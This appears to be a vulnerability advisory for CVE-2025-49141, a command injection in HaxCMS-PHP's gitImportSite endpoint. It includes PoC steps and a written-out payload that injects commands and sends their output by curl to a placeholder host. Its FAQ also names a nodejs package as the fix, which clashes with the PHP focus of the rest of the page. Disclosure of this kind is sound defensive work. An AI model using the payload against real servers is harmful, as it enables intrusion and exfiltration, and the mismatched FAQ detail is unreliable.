CVE-2025-49141: HaxCMS-PHP Command Injection Vulnerability
Summary The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’setremote’ function later passes this input into ’procopen’, yielding OS command injection.
Details The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filtervar’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection. !gitImportSite
Affected Resources • Operations.php:2103 gitImportSite() • \<domain\>/\<user\>/system/api/gitImportSite
PoC To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').
1. Start a webserver. !webserver
2. Initiate a request to the ’archiveSite’ endpoint. !archiveSite
3. Capture and modify the request in BurpSuite. !request-modification
4. Observe command output in the HTTP request from the server. !command-output
Command Injection Payload Bash http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef
Impact An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filtervar’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.
Other sources
HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.3, the gitImportSite functionality obtains a URL string from a POST request and insufficiently validates user input. The setremote function later passes this input into procopen, yielding OS command injection. An authenticated attacker can craft a URL string that bypasses the validation checks employed by the filtervar and strpos functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request. Version 11.0.3 contains a patch for the issue.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2025-49141?
CVE-2025-49141 is classified as a high severity vulnerability due to its potential for OS command injection.
How do I fix CVE-2025-49141?
To fix CVE-2025-49141, upgrade the affected package @haxtheweb/haxcms-nodejs to version 11.0.3 or later.
What systems are affected by CVE-2025-49141?
CVE-2025-49141 affects versions prior to 11.0.3 of the @haxtheweb/haxcms-nodejs package.
What types of attacks can CVE-2025-49141 enable?
CVE-2025-49141 can enable attackers to perform OS command injection attacks, potentially leading to remote code execution.
Is user input validation sufficient in CVE-2025-49141?
No, the user input validation in CVE-2025-49141 is insufficient, allowing exploitation via unvalidated POST request data.